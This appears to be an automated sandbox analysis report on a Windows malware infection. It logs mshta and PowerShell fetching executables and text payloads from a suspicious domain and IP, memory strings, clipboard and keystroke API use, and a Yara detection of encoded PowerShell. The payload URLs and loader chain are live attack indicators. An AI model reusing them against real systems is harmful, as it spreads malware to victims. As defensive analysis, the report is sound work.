Source: global traffic	HTTP traffic detected: GET /HA_19-12NGHEP_anh HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: tiffany-careers.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /New_2025.webp HTTP/1.1Host: tiffany-careers.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /PefjSkkhb.exe HTTP/1.1Host: tiffany-careers.com
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /kiiMf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 139.99.188.124Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /QWCheljD.txt HTTP/1.1Host: 139.99.188.124Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: tiffany-careers.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs

Source: unknown

HTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message

Source: powershell.exe, 00000019.00000002.1664261404.0000026D0B078000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1664261404.0000026D0C1B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.99.188.124
Source: powershell.exe, 00000019.00000002.1664261404.0000026D0B078000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.99.188.124/QWCheljD.txt
Source: PefjSkkhb.exe, 00000012.00000002.1598905684.000001C1375E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://139.99.188.124/kiiMfHi
Source: powershell.exe, 00000019.00000002.1664261404.0000026D0C1B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.99.H
Source: Guard.exe, 0000001B.00000003.1681700904.00000000046F1000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000002.2614078570.000000000391F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: Guard.exe, 0000001B.00000003.1681700904.00000000046F1000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000002.2614078570.000000000391F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Guard.exe, 0000001B.00000003.1681700904.00000000046F1000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000002.2614078570.000000000391F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Guard.exe, 0000001B.00000003.1681700904.00000000046F1000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000002.2614078570.000000000391F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: powershell.exe, 00000009.00000002.1647096807.0000024F7AC50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft~
Source: powershell.exe, 00000005.00000002.1404964086.000001F6EC8F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.v
Source: svchost.exe, 00000008.00000002.2613660225.0000013311284000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1430460995.0000013311400000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000009.00000002.1596053315.0000024F72A8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1664261404.0000026D0C842000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1849040364.0000026D1AEC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: Guard.exe, 0000001B.00000003.1681700904.00000000046F1000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000002.2614078570.000000000391F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Guard.exe, 0000001B.00000003.1681700904.00000000046F1000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000002.2614078570.000000000391F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: Guard.exe, 0000001B.00000003.1681700904.00000000046F1000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000002.2614078570.000000000391F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: powershell.exe, 00000019.00000002.1664261404.0000026D0C6CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000005.00000002.1398818179.000001F680094000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1548044895.0000024F62A21000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1664261404.0000026D0AE51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Guard.exe, 0000001B.00000003.1681700904.00000000046F1000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000002.2614078570.000000000391F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Guard.exe, 0000001B.00000003.1681700904.00000000046F1000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000002.2614078570.000000000391F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: powershell.exe, 00000019.00000002.1664261404.0000026D0C4AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000019.00000002.1664261404.0000026D0C6CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: Guard.exe, 0000001B.00000003.1681700904.00000000046F1000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000000.1655427947.0000000000399000.00000002.00000001.01000000.00000010.sdmp, SwiftWrite.pif, 0000001F.00000000.1789384786.0000000000DE9000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: powershell.exe, 00000005.00000002.1398818179.000001F68005D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1398818179.000001F680047000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1548044895.0000024F62A21000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1664261404.0000026D0AE51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: offscreendocument_main.js.13.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/mathjax/
Source: powershell.exe, 00000019.00000002.1849040364.0000026D1AEC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000019.00000002.1849040364.0000026D1AEC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000019.00000002.1849040364.0000026D1AEC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: svchost.exe, 00000008.00000003.1430460995.0000013311433000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000008.00000003.1430460995.0000013311400000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: powershell.exe, 00000019.00000002.1664261404.0000026D0C6CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000019.00000002.1664261404.0000026D0BF94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: mshta.exe, 00000006.00000003.1656420097.000002373D762000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1670150384.000002373D762000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1690678814.000002373D762000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: powershell.exe, 00000009.00000002.1596053315.0000024F72A8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1664261404.0000026D0C842000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1849040364.0000026D1AEC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000019.00000002.1664261404.0000026D0C4AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000019.00000002.1664261404.0000026D0C4AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: powershell.exe, 00000009.00000002.1548044895.0000024F62C4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com
Source: mshta.exe, 00000006.00000002.1690678814.000002373D762000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/
Source: mshta.exe, 00000006.00000002.1689462796.000002373D6F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689206504.000002373D6D9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1692734044.0000023F441B0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1670150384.000002373D798000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1690836337.000002373D798000.00000004.00000020.00020000.00000000.sdmp, nTyPEbq9wQ.lnk	String found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anh
Source: mshta.exe, 00000006.00000002.1689128615.000002373D6BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anh#%G
Source: powershell.exe	String found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anh$global:?
Source: mshta.exe, 00000006.00000003.1670459856.0000023F40251000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1691564346.0000023F40251000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anh...e
Source: mshta.exe, 00000006.00000003.1656620086.0000023F402C0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1692048779.0000023F402C0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1664804605.0000023F402C0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1661852366.0000023F402C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anh...y6
Source: mshta.exe, 00000006.00000002.1692734044.0000023F441B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anh1
Source: mshta.exe, 00000006.00000002.1689128615.000002373D6BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anh5%U
Source: mshta.exe, 00000006.00000003.1657131232.000002373D6ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D6EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anh7
Source: mshta.exe, 00000006.00000003.1657131232.000002373D6ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D6EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1687720144.000002373D6F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689462796.000002373D6F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhA-PCUSERDOMAIN_ROAMIN
Source: powershell.exe, 00000005.00000002.1402626568.000001F6EA95E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhB
Source: mshta.exe, 00000006.00000003.1656420097.000002373D798000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689128615.000002373D6B0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1687434395.000002373D798000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1670150384.000002373D798000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1690836337.000002373D798000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhC:
Source: mshta.exe, 00000006.00000002.1690879846.000002373D7E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhH
Source: powershell.exe, 00000005.00000002.1404551947.000001F6EABB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhIT
Source: mshta.exe, 00000006.00000002.1691021357.000002373D860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhLAPP
Source: mshta.exe, 00000006.00000003.1687720144.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689462796.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657131232.000002373D726000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhN
Source: mshta.exe, 00000006.00000002.1689128615.000002373D6BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhN%
Source: mshta.exe, 00000006.00000002.1689128615.000002373D6BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhR%8
Source: mshta.exe, 00000006.00000002.1692881727.0000023F45918000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1686839904.0000023F45918000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhX
Source: mshta.exe, 00000006.00000003.1687720144.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689462796.000002373D726000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhYYC:
Source: mshta.exe, 00000006.00000003.1687720144.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657131232.000002373D6ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689462796.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D6EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1687720144.000002373D6F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657131232.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689462796.000002373D6F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhd
Source: mshta.exe, 00000006.00000002.1692881727.0000023F45918000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1686839904.0000023F45918000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhdll
Source: powershell.exe, 00000005.00000002.1402626568.000001F6EA95E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1398818179.000001F6804A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhh
Source: mshta.exe, 00000006.00000003.1672606229.0000023F45AC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhhttps://tiffany-careers.com/HA_19-12NGHEP_anh
Source: mshta.exe, 00000006.00000002.1689128615.000002373D6BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhk%?
Source: mshta.exe, 00000006.00000002.1689128615.000002373D6BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhk=7
Source: mshta.exe, 00000006.00000003.1687720144.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689462796.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657131232.000002373D726000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhocal
Source: mshta.exe, 00000006.00000003.1657131232.000002373D6ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D6EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1687720144.000002373D6F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689462796.000002373D6F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhows
Source: powershell.exe, 00000005.00000002.1398818179.000001F680001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhp
Source: mshta.exe, 00000006.00000002.1692881727.0000023F458FF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1686839904.0000023F458FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhweLMEM
Source: powershell.exe, 00000005.00000002.1404964086.000001F6EC97F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhx
Source: powershell.exe, 00000009.00000002.1548044895.0000024F62C4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/New_2025.webp0
Source: powershell.exe, 00000009.00000002.1548044895.0000024F62ECF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/PefjSkkhb.exep
Source: Guard.exe, 0000001B.00000003.1681700904.00000000046F1000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000002.2614078570.000000000391F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: Guard.exe, 0000001B.00000002.2614078570.000000000391F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0
Source: Guard.exe, 0000001B.00000003.1681700904.00000000046F1000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000002.2614078570.000000000391F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/06

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789

Source: unknown	HTTPS traffic detected: 147.45.49.155:443 -> 192.168.2.9:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 147.45.49.155:443 -> 192.168.2.9:49735 version: TLS 1.2

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 18_2_00007FF697BD0D24 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

18_2_00007FF697BD0D24

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BD0D24 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	18_2_00007FF697BD0D24
Source: C:\Users\Public\Guard.exe	Code function: 27_2_00344830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	27_2_00344830
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D94830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	31_2_00D94830

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 18_2_00007FF697BD0A6C OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

18_2_00007FF697BD0A6C

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 18_2_00007FF697BB7E64 GetKeyboardState,SetKeyboardState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

18_2_00007FF697BB7E64

Source: C:\Users\Public\Guard.exe	Code function: 27_2_0035D164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		27_2_0035D164
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00DAD164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		31_2_00DAD164

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 1820, type: MEMORYSTR

Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Binary is likely a compiled AutoIt script file

Source: powershell.exe, 00000009.00000002.1596053315.0000024F72C8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_1c4a3159-8
